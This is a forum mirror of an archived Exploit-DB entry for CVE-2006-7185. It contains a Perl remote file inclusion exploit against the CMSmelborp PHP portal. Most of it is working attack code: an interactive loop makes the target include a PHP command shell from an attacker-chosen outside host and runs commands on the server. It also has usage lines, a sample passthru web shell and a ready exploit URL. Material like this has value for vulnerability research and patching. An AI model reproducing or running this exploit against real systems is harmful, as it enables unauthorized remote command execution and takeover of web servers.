- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 2766
- Проверка EDB
-
- Пройдено
- Автор
- DELTAHACKINGTEAM
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2006-7185
- Дата публикации
- 2006-11-12
Код:
#!/usr/bin/perl
##
# Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit
# Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip
#
##
# usage:
# perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>
#
# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke
#
# Contact:[email protected]
##
# Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?&
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[.......]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[.......]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}
else {print "[shell] \$";}}}last;
sub head()
{
print "\n============================================================================\r\n";
print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%*\r\n";
print "============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes \r\n";
print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "============================================================================\r\n";
print " Bug Found DeltahackingSecurityTEAM \r\n";
print " Iranian Are The Best In World \r\n";
print "============================================================================\r\n";
exit();
}
# milw0rm.com [2006-11-12]
- Источник
- www.exploit-db.com